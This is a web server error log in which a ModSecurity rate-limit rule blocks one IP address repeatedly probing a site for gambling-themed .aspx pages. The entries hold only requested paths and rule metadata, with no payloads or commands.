[Sat Feb 14 21:07:29.093098 2026] [:error] [pid 36056:tid 36076] [client 51.83.237.175:40044] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aZBzkbv3wQbSPS1vpOggSgAAABI"]
[Sat Feb 14 21:07:29.331914 2026] [:error] [pid 53981:tid 54059] [client 51.83.237.175:40050] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "aZBzkdGxz-sjlGLnWnvSjgAAA1Y"]
[Sat Feb 14 21:07:29.452363 2026] [:error] [pid 39454:tid 39479] [client 51.83.237.175:40054] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "aZBzkYf01uYc0DFDtzvYowAAAdQ"]
[Sat Feb 14 21:07:39.483513 2026] [:error] [pid 36056:tid 36071] [client 51.83.237.175:40086] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "aZBzm7v3wQbSPS1vpOggVQAAAA0"]
[Sat Feb 14 21:07:40.251801 2026] [:error] [pid 39454:tid 39482] [client 51.83.237.175:40098] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "aZBznIf01uYc0DFDtzvYrwAAAdc"]
[Sat Feb 14 21:07:40.760340 2026] [:error] [pid 39454:tid 39469] [client 51.83.237.175:40078] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "aZBznIf01uYc0DFDtzvYsAAAAco"]
[Sat Feb 14 21:07:41.323501 2026] [:error] [pid 36056:tid 36073] [client 51.83.237.175:40106] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "aZBznbv3wQbSPS1vpOggVgAAAA8"]
[Sat Feb 14 21:07:42.087164 2026] [:error] [pid 39456:tid 39496] [client 51.83.237.175:57080] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "aZBznoKeIqKLynHIGnjdBgAAAko"]
[Sat Feb 14 21:07:42.452768 2026] [:error] [pid 26150:tid 26174] [client 51.83.237.175:40062] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aZBznqqmPH3D5QJaUSHS8gAAAJQ"]
[Sat Feb 14 21:07:42.912833 2026] [:error] [pid 36219:tid 36263] [client 51.83.237.175:57096] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aZBznpe-m2OpEy0FNjhdEQAAA48"]
[Sat Feb 14 21:07:43.953821 2026] [:error] [pid 26150:tid 26177] [client 51.83.237.175:57112] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20168.aspx"] [unique_id "aZBzn6qmPH3D5QJaUSHS9AAAAJc"]
[Sat Feb 14 21:07:45.017908 2026] [:error] [pid 50339:tid 50388] [client 51.83.237.175:57118] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "aZBzocI6TclQ9GOl2Y16jgAAAhI"]
[Sat Feb 14 21:07:45.456150 2026] [:error] [pid 53920:tid 53971] [client 51.83.237.175:57130] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aZBzoSrmNDNQ_-GD91KC2gAAAVY"]
[Sat Feb 14 21:07:45.979227 2026] [:error] [pid 53979:tid 53999] [client 51.83.237.175:57140] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "aZBzoYfb_0QPnk6UIuNXYwAAAZA"]
[Sat Feb 14 21:07:46.727914 2026] [:error] [pid 26150:tid 26157] [client 51.83.237.175:57156] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "aZBzoqqmPH3D5QJaUSHTCAAAAIM"]
[Sat Feb 14 21:07:46.888649 2026] [:error] [pid 53980:tid 54030] [client 51.83.237.175:57164] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20auto.aspx"] [unique_id "aZBzotposYBT7xU8oxTHlgAAAtQ"]
[Sat Feb 14 21:07:47.413978 2026] [:error] [pid 39454:tid 39476] [client 51.83.237.175:57234] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aZBzo4f01uYc0DFDtzvY7AAAAdE"]
[Sat Feb 14 21:07:48.166823 2026] [:error] [pid 39456:tid 39492] [client 51.83.237.175:57148] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "aZBzpIKeIqKLynHIGnjdFAAAAkY"]
[Sat Feb 14 21:07:49.074354 2026] [:error] [pid 26150:tid 26168] [client 51.83.237.175:57242] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "aZBzpaqmPH3D5QJaUSHTEQAAAI4"]
[Sat Feb 14 21:07:49.678112 2026] [:error] [pid 53920:tid 53966] [client 51.83.237.175:57258] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "aZBzpSrmNDNQ_-GD91KC3QAAAVE"]
[Sat Feb 14 21:07:49.867997 2026] [:error] [pid 53979:tid 53996] [client 51.83.237.175:57272] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aZBzpYfb_0QPnk6UIuNXZgAAAY0"]
[Sat Feb 14 21:07:50.704030 2026] [:error] [pid 53979:tid 53997] [client 51.83.237.175:57280] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aZBzpofb_0QPnk6UIuNXZwAAAY4"]
[Sat Feb 14 21:07:51.869887 2026] [:error] [pid 39454:tid 39469] [client 51.83.237.175:57282] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aZBzp4f01uYc0DFDtzvY7wAAAco"]
[Sat Feb 14 21:07:53.628338 2026] [:error] [pid 39456:tid 39502] [client 51.83.237.175:57286] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "aZBzqYKeIqKLynHIGnjdHgAAAlA"]
[Sat Feb 14 21:07:53.992854 2026] [:error] [pid 36219:tid 36257] [client 51.83.237.175:57288] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "aZBzqZe-m2OpEy0FNjhdPwAAA4k"]
[Sat Feb 14 21:07:54.233361 2026] [:error] [pid 39454:tid 39473] [client 51.83.237.175:57300] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "aZBzqof01uYc0DFDtzvY8gAAAc4"]
[Sat Feb 14 21:07:54.450348 2026] [:error] [pid 53981:tid 54046] [client 51.83.237.175:57310] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "aZBzqtGxz-sjlGLnWnvSpgAAA0k"]
[Sat Feb 14 21:07:57.419339 2026] [:error] [pid 39454:tid 39463] [client 51.83.237.175:57318] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aZBzrYf01uYc0DFDtzvY9AAAAcQ"]
[Sat Feb 14 21:07:57.780471 2026] [:error] [pid 26150:tid 26176] [client 51.83.237.175:56810] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aZBzraqmPH3D5QJaUSHTHQAAAJY"]
[Sat Feb 14 21:07:57.868496 2026] [:error] [pid 50339:tid 50381] [client 51.83.237.175:56818] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "aZBzrcI6TclQ9GOl2Y16rQAAAgs"]
[Sat Feb 14 21:07:58.813712 2026] [:error] [pid 53981:tid 54044] [client 51.83.237.175:56822] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aZBzrtGxz-sjlGLnWnvSqgAAA0c"]
[Sat Feb 14 21:07:59.962355 2026] [:error] [pid 39454:tid 39459] [client 51.83.237.175:56836] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "aZBzr4f01uYc0DFDtzvY-gAAAcA"]
[Sat Feb 14 21:08:00.490495 2026] [:error] [pid 39456:tid 39500] [client 51.83.237.175:56850] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "aZBzsIKeIqKLynHIGnjdIgAAAk4"]
[Sat Feb 14 21:08:01.498413 2026] [:error] [pid 50339:tid 50370] [client 51.83.237.175:56856] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aZBzscI6TclQ9GOl2Y16sQAAAgA"]
[Sat Feb 14 21:08:02.190494 2026] [:error] [pid 53980:tid 54034] [client 51.83.237.175:56866] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/robots.txt"] [unique_id "aZBzstposYBT7xU8oxTHpAAAAtg"]
[Sat Feb 14 21:08:02.672237 2026] [:error] [pid 53920:tid 53973] [client 51.83.237.175:56872] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "aZBzsirmNDNQ_-GD91KC4gAAAVg"]
[Sat Feb 14 21:08:03.512595 2026] [:error] [pid 53980:tid 54017] [client 51.83.237.175:56900] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aZBzs9posYBT7xU8oxTHqQAAAsc"]
[Sat Feb 14 21:08:03.759360 2026] [:error] [pid 50339:tid 50380] [client 51.83.237.175:56884] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "aZBzs8I6TclQ9GOl2Y16tgAAAgo"]
[Sat Feb 14 21:08:05.048647 2026] [:error] [pid 36056:tid 36067] [client 51.83.237.175:56916] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "aZBztbv3wQbSPS1vpOgglwAAAAk"]
[Sat Feb 14 21:08:05.375958 2026] [:error] [pid 36219:tid 36259] [client 51.83.237.175:56922] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "aZBztZe-m2OpEy0FNjhdRAAAA4s"]
[Sat Feb 14 21:08:06.239951 2026] [:error] [pid 53980:tid 54033] [client 51.83.237.175:56934] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aZBzttposYBT7xU8oxTHrQAAAtc"]
[Sat Feb 14 21:08:07.912174 2026] [:error] [pid 39456:tid 39501] [client 51.83.237.175:45312] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "aZBzt4KeIqKLynHIGnjdJwAAAk8"]
[Sat Feb 14 21:08:08.012229 2026] [:error] [pid 53979:tid 53987] [client 51.83.237.175:45300] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aZBzuIfb_0QPnk6UIuNXcgAAAYQ"]
[Sat Feb 14 21:08:08.835636 2026] [:error] [pid 53920:tid 53970] [client 51.83.237.175:45328] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aZBzuCrmNDNQ_-GD91KC4wAAAVU"]
[Sat Feb 14 21:08:09.537910 2026] [:error] [pid 53980:tid 54029] [client 51.83.237.175:45316] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/robots.txt"] [unique_id "aZBzudposYBT7xU8oxTHswAAAtM"]
[Sat Feb 14 21:08:09.687456 2026] [:error] [pid 39456:tid 39507] [client 51.83.237.175:45342] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aZBzuYKeIqKLynHIGnjdKwAAAlU"]
[Sat Feb 14 21:08:10.922354 2026] [:error] [pid 39456:tid 39496] [client 51.83.237.175:45352] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "aZBzuoKeIqKLynHIGnjdLgAAAko"]
[Sat Feb 14 21:08:11.117458 2026] [:error] [pid 39456:tid 39487] [client 51.83.237.175:45358] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aZBzu4KeIqKLynHIGnjdMAAAAkE"]
[Sat Feb 14 21:08:11.832665 2026] [:error] [pid 36219:tid 36254] [client 51.83.237.175:45366] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aZBzu5e-m2OpEy0FNjhdSwAAA4Y"]
[Sat Feb 14 21:08:12.775206 2026] [:error] [pid 53979:tid 54005] [client 51.83.237.175:45374] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/robots.txt"] [unique_id "aZBzvIfb_0QPnk6UIuNXdAAAAZY"]
[Sat Feb 14 21:08:13.532132 2026] [:error] [pid 26150:tid 26155] [client 51.83.237.175:45390] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aZBzvaqmPH3D5QJaUSHTKQAAAIE"]
[Sat Feb 14 21:08:14.285224 2026] [:error] [pid 53981:tid 54044] [client 51.83.237.175:45406] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aZBzvtGxz-sjlGLnWnvStwAAA0c"]
[Sat Feb 14 21:08:14.988043 2026] [:error] [pid 39456:tid 39497] [client 51.83.237.175:45412] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "aZBzvoKeIqKLynHIGnjdNAAAAks"]
[Sat Feb 14 21:08:15.608704 2026] [:error] [pid 36056:tid 36072] [client 51.83.237.175:45424] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aZBzv7v3wQbSPS1vpOggnQAAAA4"]
[Sat Feb 14 21:08:17.119982 2026] [:error] [pid 36056:tid 36065] [client 51.83.237.175:45434] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/robots.txt"] [unique_id "aZBzwbv3wQbSPS1vpOggowAAAAc"]
